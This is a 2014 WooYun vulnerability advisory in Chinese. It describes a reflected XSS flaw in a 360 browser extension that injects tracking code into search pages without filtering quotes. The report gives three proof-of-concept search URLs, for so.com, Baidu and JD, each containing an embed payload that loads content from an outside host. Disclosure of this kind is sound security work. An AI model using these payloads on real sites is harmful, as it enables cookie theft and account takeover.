漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-055384
漏洞标题：360某插件设计不当导致360极速浏览器易被攻击
相关厂商：奇虎360
漏洞作者： Peng s Blog
提交时间：2014-04-03 10:50
修复时间：2014-06-29 10:51
公开时间：2014-06-29 10:51
漏洞类型：设计错误/逻辑缺陷
危害等级：中
自评Rank：10
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-04-03： 细节已通知厂商并且等待厂商处理中
2014-04-03： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-05-28： 细节向核心白帽子及相关领域专家公开
2014-06-07： 细节向普通白帽子公开
2014-06-17： 细节向实习白帽子公开
2014-06-29： 细节向公众公开
简要描述：
此洞的本质是360官方插件利用浏览器的pc技术向用户浏览的页面插入代码，数据过滤不严（双引号的过滤）造成的，直接造成用户浏览安全的页面变得不安全。
详细说明：
1、此插件地址：360消费者卫士
http://ext.chrome.360.cn/webstore/detail/fbiaiekikpfpbfjpgplkhlembgbjmffp
2、此插件会在用户浏览pv比较高的站插入统计代码，统计的数据包含用户的搜索(360有监控用户隐私之嫌)。结果，搜索的东西为代码时就会出现xss
http://www.so.com/s?q=%22%3E%3Cembed/src=//tmxk.org%3E
http://www.baidu.com/#wd=%22%3E%3Cembed%2Fsrc%3D%2F%2Ftmxk.org%3E
http://search.jd.com/Search?keyword="><embed%2Fsrc%3D%2F%2Ftmxk.org
3、此洞的本质是360官方插件利用浏览器的pc技术向用户浏览的页面插入代码，数据过滤不严（双引号的过滤）造成的，直接造成用户浏览安全的页面变得不安全。
4、这样安装了360消费卫士的用户相当于安装了一个定时炸弹，让360极速浏览器的变得很不安全，搜索、网购都不小心会中招。
因为这样的连接会嵌入你常浏览的网页，360的这个插件会帮你把cookie送给别人，即便这个网站本身是安全的。
漏洞证明：
修复方案：
你懂的
版权声明：转载请注明来源 Peng s Blog@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-06-29 10:51
厂商回复：
你好，此漏洞已有白帽子向360安全响应中心提交，我们已在第一时间修复并发布更新。
最新状态：
暂无